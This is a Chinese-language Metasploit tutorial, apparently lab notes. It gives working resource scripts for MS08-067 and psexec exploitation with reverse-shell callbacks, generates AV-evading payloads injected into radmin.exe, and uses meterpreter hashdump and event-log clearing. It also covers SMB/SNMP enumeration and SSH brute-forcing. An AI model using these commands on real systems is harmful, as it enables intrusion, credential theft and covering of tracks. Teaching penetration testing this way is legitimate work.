渗透测试——Mestasploit 基本使用

渗透测试者的困扰
  • 需要掌握数百个工具软件,上千个命令参数,实在记不住
  • 新出现的漏洞 PoC/EXP 有不同的运行环境要求,准备工作繁琐
  • 大部分时间都在学习不同工具的使用户环境,如果能统一就好了
Metasploit 简介
  • 目前最流行、最强大、最具扩展性的渗透测试平台软件

  • 基于 Metasploit 进行渗透测试和漏洞分析的流程和方法

  • 2003 年由 HD More 发布第一版,2007 年用 ruby 语言编写

    • 框架继承了渗透测试标准(PETS)标准
    • 一定程度上统一了渗透测试研究的工作环境
    • 新的攻击代码可以比较容易的加入框架
  • 开发活跃版本更新频繁

    • 早期版本基于社区力量维护,被 Rapid 7 收购后大枣出其商业版本产品
    • 目前分化为四个版本,社区版依然十分活跃
    • HD More说:为 Metasploit 写书是种自虐
  • Metasploit 默认集成 kali linux 中

  • 使用 postgresql 数据库存储数据

    • 早期版本需要先启动数据库再启动 msf

    img

img

Metasploit 架构

  • Rex
    • 基本功能库,用于完成日常基本任务,无需人工手动编码实现
    • 处理 socket 连接与访问、协议应答(http/SSL/SMB 等)
    • 编码转换(XOR、Base64、Unicode)
  • Msf::Core
    • 提供 Metasploit的核心基本 API,是框架的核心能力实现库
  • Msf::Base
    • 提供友好的的 API 接口,便于模块调用的库
  • Plugin 插件
    • 连接和调用外部扩展功能和系统
  • 模块
    • /usr/share/metasploit-framework/modules/
  • 技术功能模块(不是流程模块)
    • Exploits:利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
  • Payload:成功 exploit 之后,真正在目标系统执行的代码或指令
    • shellcode 或系统命令
    • 三种 payload:/usr/share/metasploit-framework/modules/payloads/
    • Single:all-in-one
    • Stager:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接
    • stages:利用 stager 建立的连接下载的后续payload
    • stager、stages 都有多种类型,适用于不同场景
    • shellcode 是 payload 的一种,由于期间里正向/反向 shell 而得名
  • 技术功能模块(不是流程模块)
    • Auxiliary:执行信息收集、枚举、指纹探测、扫描等功能的辅助模块(没有 payload 的 exploit 模块)
    • Encoders:对 payload 进行加密,躲避 AV 检查的模块
    • Nops:提高 paylaod 稳定性及维持大小

基本使用

  • 使用前先升级:msfupdate
  • msfcli 使用接口,现在已经更新至 msfconsole -x
  • msfconsole 使用接口
    • 最流行的用户接口
    • 几乎可以使用全部 msf 功能
    • 控制台命令支持 TAB 自动补全
    • 支持外部命令的执行(系统命令等)
  • 点击鼠标启动
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
通用选项:
-E, --environment ENVIRONMENT 设置Rails环境,默认为RAIL_ENV环境变量或'生产'

数据库选项:
-M, --migration-path DIRECTORY 指定包含其他数据库迁移的目录
-n, --no-database 禁用数据库支持
-y, --yaml PATH 指定一个包含数据库设置的YAML文件

框架选项:
-c FILE 加载指定的配置文件
-v, -V, --version 显示版本

模块选项:
--defer-module-loads 除非明确询问,否则推迟模块加载
-m, --module-path DIRECTORY 加载一个额外的模块路径

控制台选项:
-a, --ask 在退出Metasploit之前询问或接受'退出-y'
-H, --history-file FILE 将命令历史记录保存到指定的文件
-L, --real-readline 使用系统Readline库而不是RbReadline
-o, --output FILE 输出到指定的文件
-p, --plugin PLUGIN 在启动时加载插件
-q, --quiet 不要在启动时显示 banner 信息
-r, --resource FILE 执行指定的资源文件( - 用于stdin)
-x, --execute-command COMMAND 执行指定的控制台命令(使用;用于倍数)
-h, --help 显示此消息
  • 进入 msfconsole,查看帮助信息
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
root@kali:~# msfconsole
msf > help

核心命令
=============

命令 描述
------- -----------
? 帮助菜单
banner 显示一个很棒的metasploit横幅
cd 更改当前的工作目录
color 切换高亮显示颜色
connect 连接与主机通信
exit 退出退出控制台
get 获取特定于上下文的变量的值
getg 获取全局变量的值
grep Grep另一个命令的输出
help 帮助菜单
history 历史显示命令历史
irb 进入irb脚本模式
load 加载一个框架插件
quit 退出控制台
route 路由通过会话路由流量
save 保存保存活动的数据存储
sessions 会话转储会话列表并显示有关会话的信息
set 将特定于上下文的变量设置为一个值
setg 将全局变量设置为一个值
sleep 睡眠在指定的秒数内不执行任何操作
spool 将控制台输出写入文件以及屏幕
threads 线程查看和操作后台线程
unload 卸载卸载框架插件
unset 取消设置取消设置一个或多个特定于上下文的变量
unsetg 取消设置取消设置一个或多个全局变量
version 版本显示框架和控制台库版本号


模块命令
===============

命令 描述
------- -----------
advanced 高级显示一个或多个模块的高级选项
back 返回从当前上下文返回
edit 编辑使用首选编辑器编辑当前模块或文件
info 显示有关一个或多个模块的信息
loadpath 加载路径搜索并加载路径中的模块
options 选项显示全局选项或一个或多个模块
popm 将最新的模块从堆栈弹出并使其处于活动状态
previous 将之前加载的模块设置为当前模块
pushm 将活动或模块列表推入模块堆栈
reload_all 重新加载所有定义的模块路径中的所有模块
reload_lib 从指定路径加载库文件
search 搜索搜索模块名称和说明
show 显示给定类型的模块或所有模块
use 使用按名称选择模块


工作命令
============

命令 描述
------- -----------
handler 处理程序作为作业启动负载处理程序
jobs 作业显示和管理作业
kill 杀死一份工作
rename_job 重命名作业


资源脚本命令
========================

命令 描述
------- -----------
makerc 保存从开始到文件输入的命令
resource 运行存储在文件中的命令


数据库后端命令
=========================

命令 描述
------- -----------
db_connect 连接到现有的数据库
db_disconnect 断开当前数据库实例
db_export 导出包含数据库内容的文件
db_import 导入扫描结果文件(文件类型将被自动检测)
db_nmap 执行nmap并自动记录输出
db_rebuild_cache 重建数据库存储的模块缓存
db_status 显示当前的数据库状态
hosts 列出数据库中的所有主机
loot 列出数据库中的所有战利品
notes 列出数据库中的所有注释
services 列出数据库中的所有服务
vulns 列出数据库中的所有漏洞
workspace 在数据库工作区之间切换


凭证后端命令
============================

命令 描述
------- -----------
creds 列出数据库中的所有凭据(密码)
  • msf > help show
1
2
[*]“show” 命令的有效参数是:all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options
[*]其他特定于模块的参数是:missing, advanced, evasion, targets, actions
  • msf > help search
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
用法: search [keywords]

Keywords:
app : 客户端或服务器攻击的模块
author : 本作者编写的模块
bid : 具有匹配的Bugtraq ID的模块
cve : 具有匹配CVE ID的模块
edb : 具有匹配的Exploit-DB ID的模块
name : 具有匹配描述性名称的模块
platform : 影响这个平台的模块
ref : 具有匹配参考的模块
type : 特定类型的模块(exploit,auxiliary或post)

msf > search ms08-067
msf > search name:mysql / type:aux /author:aaron # 可多条件同时搜索
  • 模块内命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
msf > search ms09_001_write
msf > use auxiliary/dos/windows/smb/ms09_001_write
msf auxiliary(dos/windows/smb/ms09_001_write) > info

[*]其他特定于模块的参数是:missing, advanced, evasion, targets, actions
msf auxiliary(dos/windows/smb/ms09_001_write) > show missing
msf auxiliary(dos/windows/smb/ms09_001_write) > show advanced
msf auxiliary(dos/windows/smb/ms09_001_write) > show targets



msf auxiliary(dos/windows/smb/ms09_001_write) > help edit
用法:编辑[file / to / edit.rb]
使用编辑当前活动模块或本地文件。
如果指定了文件路径,它将在编辑后自动重新加载。
否则,您可以使用“重新加载”或“重新运行”来重新加载活动模块。
msf auxiliary(dos/windows/smb/ms09_001_write) > edit
  • 数据库操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf > help db_connect 
[*] Usage: db_connect <user:pass>@<host:port>/<database>
[*] OR: db_connect -y [path/to/database.yml]
[*] Examples:
[*] db_connect user@metasploit3
[*] db_connect user:pass@192.168.0.2/metasploit3
[*] db_connect user:pass@192.168.0.2:1500/metasploit3

msf > help db_import
Usage: db_import <filename> [file2...]
Filenames can be globs like *.xml, or **/*.xml which will search recursively

msf > help db_export
Usage:
db_export -f <format> [filename]
Format can be one of: xml, pwdump
  • msf > help sessions
    Usage: sessions [options] or sessions [id]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
活动的会话操作和交互。

选项:

-C <opt> 在-i或全部给定的会话上运行Meterpreter命令
-K 终止所有会话
-S <opt> 行搜索过滤器。
-c <opt> 在-i或全部给定的会话上运行命令
-h 帮助横幅
-i <opt> 与提供的会话ID进行交互
-k <opt> 按会话ID和/或范围终止会话
-l 列出所有活动会话
-n <opt> 按ID命名或重命名会话
-q 静音模式
-r 重置用-i或全部给定的会话的环形缓冲区
-s <opt> 在-i或全部给定的会话上运行脚本或模块
-t <opt> 设置响应超时(默认值:15
-u <opt> 在许多平台上将shell升级到meterpreter会话
-v 以详细模式列出会话
-x 在会话表中显示扩展信息

许多选项允许使用逗号和破折号指定会话范围。
例如: sessions -s checkvm -i 1,3-5 or sessions -k 1-2,5,6

5. Exploit 模块

1.Active exploit

攻击者主动连接受害者:

1
2
3
4
5
6
7
8
root@kali:~# cat ms08067.rb 
use exploit/windows/smb/ms08_067_netapi
set RHOST 10.10.10.147
set RPORT 445
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.10.131
set LPORT 4444
exploit

img

1
2
3
4
5
6
7
8
9
root@kali:~# cat psexec.rb 
use exploit/windows/smb/psexec
set RHOST 10.10.10.148
set PAYLOAD windows/shell/reverse_tcp
set LHOST 10.10.10.131
set LPORT 4444
set SMBUSER Administrator
set SMBPASS 123456
exploit

img

2. Passive Exploits

攻击者等待受害者来触发连接,反弹到攻击者

1
2
3
4
5
6
7
8
9
root@kali:~# cat ms07017.rb 
use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set URIPATH /
set SRVHOST 0.0.0.0
set PAYLOAD windows/shell/reverse_tcp
set EXITFUNC thread
set LHOST 10.10.10.131
set LPORT 4444
exploit

img

img

6.生成payload

  • 用法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
msf > search ms08-067
msf > use payload/windows/shell/bind_tcp
msf payload(windows/shell/bind_tcp) > generate #获得shellcode
msf payload(windows/shell/bind_tcp) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
-E 强制编码。
-b <opt> 要避免的字符列表:'\ x00 \ xff'
-e <opt> 要使用的编码器模块的名称。
-f <opt> 输出文件名(否则为stdout)
-h 帮助横幅。
-i <opt> 编码迭代的次数。
-k 保持模板可执行的功能
-o <opt> 以VAR = VAL格式逗号分隔的选项列表。
-p <opt> 输出平台
-s <opt> NOP sled length.
-t <opt> 输出格式: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
-x <opt> 要使用的可执行模板

msf payload(windows/shell/bind_tcp) > generate

img

  • 自动绕过坏字符
1
2
msf payload(windows/shell/bind_tcp) > generate -b '\x00'
msf payload(windows/shell/bind_tcp) > generate -b '\x00\x44\x67\x66\xfa\x01\xe0\x44\x67\xa1\xa2\xa3\x75\x4b'
  • 手动指定编码模块
1
msf payload(windows/shell/bind_tcp) > show encoders

img

  • 注入文件
1
msf payload(windows/shell/bind_tcp) > generate -b '\x00' -t exe -e x86/shikata_ga_nai -i 5 -k -x /usr/share/windows-binaries/radmin.exe -f /root/1.exe
  • NOP:no-operation / Next Operation (无任何操作)

    • EIP 返回存储 NOP sled 的任意地址时将递增,最终导致 shellcode 执行
    • 增加一行 EOP
    1
    msf payload(windows/shell/bind_tcp) > generate -s 14

7. metepreter

1.简介
  • 高级、动态、可扩展的 payload
    • 基于 metepreter 上下文利用更多漏洞发起攻击
    • 后渗透测试阶段一站式操作界面
  • 完全基于内存的 DLL 注入式 payload (不写硬盘)
    • 注入合法系统进程并建立 stager
    • 基于 stager 上传和预加载 dll 进行扩展模块 TLS/1.0 通信隧道
    • 利用 TLS 隧道进一步加载后续扩展模块(避免网络取证)
  • 服务端使用 c 语言编写
  • 客户端提供基于 ruby 的全特性 API(支持任何语言)
2.使用
1
2
3
4
5
6
root@kali:~# cat metepreter.rb 
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
set RHOST 10.10.10.147
set LHOST 10.10.10.131
run

img

  • 帮助文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
meterpreter > help

核心命令
=============

命令 描述
------- -----------
? 帮助菜单
background 背景当前会话
bgkill 杀死一个背景meterpreter脚本
bglist 列出运行后台脚本
bgrun 执行一个meterpreter脚本作为后台线程
channel 显示信息或控制活动频道
close 关闭频道
disable_unicode_encoding 禁用unicode字符串的编码
enable_unicode_encoding 启用unicode字符串的编码
exit 终止meterpreter会话
get_timeouts 获取当前会话超时值
guid 获取会话GUID
help 帮助菜单
info 显示有关Post模块的信息
irb 进入irb脚本模式
load 加载一个或多个meterpreter扩展
machine_id 获取连接到会话的计算机的MSF ID
migrate 将服务器迁移到另一个进程
pivot 管理数据透视监听器
quit 终止meterpreter会话
read 从频道读取数据
resource 运行存储在文件中的命令
run 执行meterpreter脚本或Post模块
sessions 快速切换到另一个会话
set_timeouts 设置当前会话超时值
sleep Force Meterpreter安静,然后重新建立会话。
transport 更改当前的传输机制
use 不推荐使用“加载”别名
uuid 获取当前会话的UUID
write 将数据写入通道


Stdapi: 文件系统命令
============================

命令 描述
------- -----------
cat 将文件的内容读取到屏幕上
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
dir 列表文件(ls的别名)
download 下载文件或目录
edit 编辑一个文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 建立目录
mv 将源移到目标
pwd 打印工作目录
rm 删除指定的文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有安装点/逻辑驱动器
upload 上传文件或目录


Stdapi: 网络命令
===========================

命令 描述
------- -----------
arp 显示主机ARP缓存
getproxy 显示当前的代理配置
ifconfig 显示界面
ipconfig 显示界面
netstat 显示网络连接
portfwd 将本地端口转发到远程服务
resolve 解析目标上的一组主机名
route 查看和修改路由表


Stdapi: 系统命令
=======================

Command Description
------- -----------
clearev 清除事件日志
drop_token 放弃任何活动的模拟令牌。
execute 执行一个命令
getenv 获取一个或多个环境变量值
getpid 获取当前的进程标识符
getprivs 尝试启用当前进程可用的所有权限
getsid 获取运行服务器的用户的SID
getuid 获取服务器正在运行的用户
kill 终止一个过程
localtime 显示目标系统的本地日期和时间
pgrep 按名称过滤进程
pkill 按名称终止进程
ps 列出运行的进程
reboot 重新启动远程计算机
reg 修改远程注册表并与之交互
rev2self 在远程机器上调用RevertToSelf()
shell 放入系统命令外壳
shutdown 关闭远程计算机
steal_token 尝试从目标进程中盗取模拟令牌
suspend 暂停或恢复进程列表
sysinfo 获取有关远程系统的信息,例如OS


Stdapi: 用户界面命令
===============================

命令 描述
------- -----------
enumdesktops 列出所有可访问的桌面和窗口工作站
getdesktop 获取当前meterpreter桌面
idletime 返回远程用户闲置的秒数
keyscan_dump 转储按键缓冲区
keyscan_start 开始捕捉击键
keyscan_stop 停止捕获击键
screenshot 获取交互式桌面的屏幕截图
setdesktop 更改meterpreters当前桌面
uictl 控制一些用户界面组件


Stdapi: Webcam 命令
=======================

命令 描述
------- -----------
record_mic 从默认麦克风录制音频X秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的摄像头拍摄快照
webcam_stream 从指定的摄像头播放视频流


Priv: Elevate Commands
======================

命令 描述
------- -----------
getsystem 尝试将您的特权提升为本地系统的特权。


Priv: 密码数据库命令
================================

命令 描述
------- -----------
hashdump 转储SAM数据库的内容


Priv: Timestomp 命令
========================

命令 描述
------- -----------
timestomp 操纵文件MACE属性
  • 使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
meterpreter > execute -f cmd.exe
meterpreter > ps
meterpreter > getuid
meterpreter > getpid
meterpreter > clearev # 清除日志
meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32 # 上传文件

meterpreter > upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32
msf exploit(windows/smb/ms08_067_netapi) > sessions -l
msf exploit(windows/smb/ms08_067_netapi) > sessions -i 1

meterpreter > hashdump # 读取密码
meterpreter > run post/windows/gather/hashdump # 读取密码

meterpreter > shell

img

Meterpreter python 扩展

  • 2015 年11月份,来自社区贡献
  • 无需运行环境,在客户端运行原生 python 代码
  • 使用
1
2
3
4
5
6
7
8
9
10
11
12
13
meterpreter > load python
meterpreter > python_execute "print ('asdasdas')"
meterpreter > python_execute "import os; cd = os.getcwd()" -r cd



root@kali:~# cat find2.py
import os
for root,dirs,files in os.walk(c://*):
for file in files:
if file.endwith(".ini" ) and file.startwith("win"):
print(os.path.john(root,file))
python_import -f find.py

9. msfcli

  • 2015 年6月已经被取消
  • 由 msfconsole -x 取代
  • 编写脚本时便于引用
1
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 10.10.10.147; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.10.131; set LPORT 5555; set target 34; exploit"

Mestasploit 信息收集

模块位置:
  • 信息收集的模块都在 auxiliary/scanner/ 之下
1
2
msf > use auxiliary/scanner/ [TAB]
Display all 531 possibilities? (y or n)

1. db_nmap

  • 跟 nmap 用法一样,结果存放在 msf 的数据库中
1
msf > db_nmap -sV 10.10.10.0/24
  • auxiliary 目录下
  • RHOSTS <> RHOST
    • 192.168.1.20-192.168.1.30、192.168.1.0/24,192.168.11.0/24
    • 也可以编写地址列表:file:/root/h.txt

2.主机发现扫描

  • use auxiliary/scanner/discovery/arp_sweep
  • set INTERFACE、RHOSTS、SHOST、SMAC、THREADS;run
1
2
3
4
5
6
7
msf > search arp
msf > use auxiliary/scanner/discovery/arp_sweep
msf auxiliary(scanner/discovery/arp_sweep) > show options
msf auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 10.10.10.0/24
msf auxiliary(scanner/discovery/arp_sweep) > set INTERFACE eth0
msf auxiliary(scanner/discovery/arp_sweep) > set THREADS 20
msf auxiliary(scanner/discovery/arp_sweep) > run

3.端口扫描

  • use auxiliary/scanner/portscan/syn
  • set INTERFACE、PORTS、RHOSTS、THREADS;run
1
2
3
4
5
6
7
8
msf > search portscan
msf > use auxiliary/scanner/portscan/syn
msf auxiliary(scanner/portscan/syn) > show options
msf auxiliary(scanner/portscan/syn) > set INTERFACE eth0
msf auxiliary(scanner/portscan/syn) > set PORTS 80
msf auxiliary(scanner/portscan/syn) > set RHOSTS 10.10.10.0/24
msf auxiliary(scanner/portscan/syn) > set THREADS 50
msf auxiliary(scanner/portscan/syn) > run

4.僵尸扫描

  • 查找 ipidseq 主机(查找僵尸机)
    • use auxiliary/scanner/ip/ipidseq
    • set RHOSTS 192.168.1.0/24 ;run
    • nmap -PN -sI 10.10.10.147 10.10.10.132
1
2
3
4
5
msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(scanner/ip/ipidseq) > show options
msf auxiliary(scanner/ip/ipidseq) > set RHOSTS 10.10.10.100-150
msf auxiliary(scanner/ip/ipidseq) > set THREADS 20
msf auxiliary(scanner/ip/ipidseq) > run
1
msf > db_nmap -PN -sI 10.10.10.147 10.10.10.132

5.UDP扫描

  • use auxiliary/scanner/discovery/udp_sweep
  • use auxiliary/scanner/discovery/udp_probe
1
2
3
4
msf > use auxiliary/scanner/discovery/udp_sweep
msf auxiliary(scanner/discovery/udp_sweep) > show options
msf auxiliary(scanner/discovery/udp_sweep) > set RHOSTS 10.10.10.100-150
msf auxiliary(scanner/discovery/udp_sweep) > run
1
2
3
4
5
6
msf > use auxiliary/scanner/discovery/udp_probe
msf auxiliary(scanner/discovery/udp_probe) > show options
msf auxiliary(scanner/discovery/udp_probe) > set RHOSTS 10.10.10.100-150
msf auxiliary(scanner/discovery/udp_probe) > set CHOST 10.10.10.131
msf auxiliary(scanner/discovery/udp_probe) > set THREADS 20
msf auxiliary(scanner/discovery/udp_probe) > run

6.密码嗅探

  • use auxiliary/sniffer/psnuffle
  • 支持从 pacap 抓包文件中提取密码
  • 功能类似于 dsniff
  • 目前只支持 pop3、imap、ftp、HTTP GET 协议
1
2
3
4
5
msf > search sniffer
msf > use auxiliary/sniffer/psnuffle
msf auxiliary(sniffer/psnuffle) > show options
msf auxiliary(sniffer/psnuffle) > set INTERFACE eth0
msf auxiliary(sniffer/psnuffle) > run
1
root@kali:~# ftp 10.10.10.148
1
2
3
4
5
6
# 继续上述
msf auxiliary(sniffer/psnuffle) > show options
msf auxiliary(sniffer/psnuffle) > set PCAPFILE /root/ftp.pcapng
msf auxiliary(sniffer/psnuffle) > jobs
msf auxiliary(sniffer/psnuffle) > kill 0
msf auxiliary(sniffer/psnuffle) > run

7.SNMP扫描

  • vim /etc/snmp/snmpd.conf (侦听复制修改为 0.0.0.0:161)
  • use auxiliary/scanner/snmp/snmp_login
  • use auxiliary/scanner/snmp/snmp_enum
  • use auxiliary/scanner/snmp/snmp_enumusers (windows)
  • use auxiliary/scanner/snmp/snmp_enumshares (windows)
1
2
3
4
5
msf > use auxiliary/scanner/snmp/snmp_login
msf auxiliary(scanner/snmp/snmp_login) > show options
msf auxiliary(scanner/snmp/snmp_login) > set RHOSTS 10.10.10.149
msf auxiliary(scanner/snmp/snmp_login) > set THREADS 20
msf auxiliary(scanner/snmp/snmp_login) > run
1
2
3
4
msf > use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(scanner/snmp/snmp_enum) > show options
msf auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.10.149
msf auxiliary(scanner/snmp/snmp_enum) > run
1
2
3
4
5
6
7
msf > use auxiliary/scanner/snmp/snmp_enum
msf auxiliary(scanner/snmp/snmp_enum) > show options
msf auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.10.142 (windows)
msf auxiliary(scanner/snmp/snmp_enum) > run
msf auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY jlcssadmin (SNMP 服务器团体名)
msf auxiliary(scanner/snmp/snmp_enum) > set THREADS 20
msf auxiliary(scanner/snmp/snmp_enum) > run
1
2
3
4
5
msf > use auxiliary/scanner/snmp/snmp_enumusers
msf auxiliary(scanner/snmp/snmp_enumusers) > show options
msf auxiliary(scanner/snmp/snmp_enumusers) > set COMMUNITY jlcssadmin
msf auxiliary(scanner/snmp/snmp_enumusers) > set RHOSTS 10.10.10.142
msf auxiliary(scanner/snmp/snmp_enumusers) > run
1
2
3
4
5
msf > use auxiliary/scanner/snmp/snmp_enumshares
msf auxiliary(scanner/snmp/snmp_enumshares) > show options
msf auxiliary(scanner/snmp/snmp_enumshares) > set COMMUNITY jlcssadmin
msf auxiliary(scanner/snmp/snmp_enumshares) > set RHOSTS 10.10.10.142
msf auxiliary(scanner/snmp/snmp_enumshares) > run

8.SMB扫描

  • SMB 版本扫描
    • use auxiliary/scanner/smb/smb_version
  • 扫描命令管道。判断 SMB 服务类型(账号、密码)
    • use auxiliary/scanner/smb/pipe_auditor
  • 扫描通过 SMB 管道可以访问的 RCERPC 服务
    • use auxiliary/scanner/smb/pipe_dcerpc_auditor
  • SMB 共享账号(账号、密码)
    • use auxiliary/scanner/smb/smb_enumshares
  • SMB 用户枚举(账号、密码)
    • use auxiliary/scanner/smb/smb_enumusers
  • SID 枚举(账号、密码)
    • use auxiliary/scanner/smb/smb_lookupsid
  • SMB 版本扫描
1
2
3
4
5
msf > search smb
msf > use auxiliary/scanner/smb/smb_version
msf auxiliary(scanner/smb/smb_version) > show options
msf auxiliary(scanner/smb/smb_version) > set RHOSTS 10.10.10.147, 10.10.10.148, 10.10.10.142
msf auxiliary(scanner/smb/smb_version) > run
1
2
3
4
# 继续上述
msf auxiliary(scanner/smb/smb_version) > set SMBUSER Administrator
msf auxiliary(scanner/smb/smb_version) > set SMBPass 123456
msf auxiliary(scanner/smb/smb_version) > run
  • 扫描命令管道。判断 SMB 服务类型(账号、密码)
1
2
3
4
msf > use auxiliary/scanner/smb/pipe_auditor
msf auxiliary(scanner/smb/pipe_auditor) > show options
msf auxiliary(scanner/smb/pipe_auditor) > set RHOSTS 10.10.10.148
msf auxiliary(scanner/smb/pipe_auditor) > run
1
2
3
# 继续上述
msf auxiliary(scanner/smb/pipe_auditor) > set SMBUser Administrator
msf auxiliary(scanner/smb/pipe_auditor) > set SMBPass 123456
  • 扫描通过 SMB 管道可以访问的 RCERPC 服务
1
2
3
4
msf > use auxiliary/scanner/smb/pipe_dcerpc_auditor
msf auxiliary(scanner/smb/pipe_dcerpc_auditor) > show options
msf auxiliary(scanner/smb/pipe_dcerpc_auditor) > set RHOSTS 10.10.10.148
msf auxiliary(scanner/smb/pipe_dcerpc_auditor) > run
1
2
3
4
# 继续上述
msf auxiliary(scanner/smb/pipe_dcerpc_auditor) > set SMBUser Administrator
msf auxiliary(scanner/smb/pipe_dcerpc_auditor) > set SMBPass 123456
msf auxiliary(scanner/smb/pipe_dcerpc_auditor) > run
  • SMB 共享账号(账号、密码)
1
2
3
4
msf > use auxiliary/scanner/smb/smb_enumshares
msf auxiliary(scanner/smb/smb_enumshares) > show options
msf auxiliary(scanner/smb/smb_enumshares) > set RHOSTS 10.10.10.148
msf auxiliary(scanner/smb/smb_enumshares) > run
1
2
3
4
# 继续上述
msf auxiliary(scanner/smb/smb_enumshares) > set SMBUser Administrator
msf auxiliary(scanner/smb/smb_enumshares) > set SMBPass 123456
msf auxiliary(scanner/smb/smb_enumshares) > run
  • SMB 用户枚举(账号、密码)
1
2
3
4
msf > use auxiliary/scanner/smb/smb_enumusers
msf auxiliary(scanner/smb/smb_enumusers) > show options
msf auxiliary(scanner/smb/smb_enumusers) > set RHOSTS 10.10.10.148
msf auxiliary(scanner/smb/smb_enumusers) > run
1
2
3
4
# 继续上述
msf auxiliary(scanner/smb/smb_enumusers) > set SMBUser Administrator
msf auxiliary(scanner/smb/smb_enumusers) > set SMBPass 123456
msf auxiliary(scanner/smb/smb_enumusers) > run
  • SID 枚举(账号、密码)
1
2
3
msf > use auxiliary/scanner/smb/smb_lookupsid
msf auxiliary(scanner/smb/smb_lookupsid) > show options
msf auxiliary(scanner/smb/smb_lookupsid) > set RHOSTS 10.10.10.148
1
2
3
4
# 继续上述
msf auxiliary(scanner/smb/smb_lookupsid) > set SMBUser Administrator
msf auxiliary(scanner/smb/smb_lookupsid) > set SMBPass 123456
msf auxiliary(scanner/smb/smb_lookupsid) > run

SSH扫描

  • SSH 版本扫描
    • use auxiliary/scanner/ssh/ssh_version
  • SSH 密码爆破
    • use auxiliary/scanner/ssh/ssh_login
      • set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt ;set VERBOSE false ;run
  • SSH 公钥登陆
    • use auxiliary/scanner/ssh/ssh_login_pubkey
      • set KEY_FILE id_rsa;set USERNAME root ;run
  • SSH 版本扫描
1
2
3
msf > use auxiliary/scanner/ssh/ssh_version
msf auxiliary(scanner/ssh/ssh_version) > set RHOSTS 10.10.10.132
msf auxiliary(scanner/ssh/ssh_version) > run
  • SSH 密码爆破
1
2
3
4
5
6
7
root@kali:~# more /usr/share/metasploit-framework/data/wordlists/root_userpass.txt 

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > set RHOSTS 10.10.10.132
msf auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
msf auxiliary(scanner/ssh/ssh_login) > set VERBOSE false
msf auxiliary(scanner/ssh/ssh_login) > run
  • SSH 公钥登陆
1
2
3
4
msf > use auxiliary/scanner/ssh/ssh_login_pubkey
msf auxiliary(scanner/ssh/ssh_login_pubkey) > set RHOSTS 10.10.10.132
msf auxiliary(scanner/ssh/ssh_login_pubkey) > set USERNAME root
msf auxiliary(scanner/ssh/ssh_login_pubkey) > set KEY_PATH id_rsa_test_file

windows缺少的补丁

  • 基于已经取得的 session 进行检测

  • use post/windows/gather/enum_patches

    • show advanced
    • set VERBOSE yes
  • 检查失败

    • known bug in WMI query, try migrating to another process
    • 迁移到另一个进程再次进行尝试
  • ms08-067

1
2
3
4
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) > set RHOST 10.10.10.147
msf exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) > run

img

1
2
meterpreter > backgroun
msf exploit(windows/smb/ms08_067_netapi) > sessions

img

1
2
3
msf exploit(windows/smb/ms08_067_netapi) > use post/windows/gather/enum_patches
msf post(windows/gather/enum_patches) > set SESSION 4
msf post(windows/gather/enum_patches) > run

img

1
2
3
4
5
6
7
# 进程错误,迁移进程
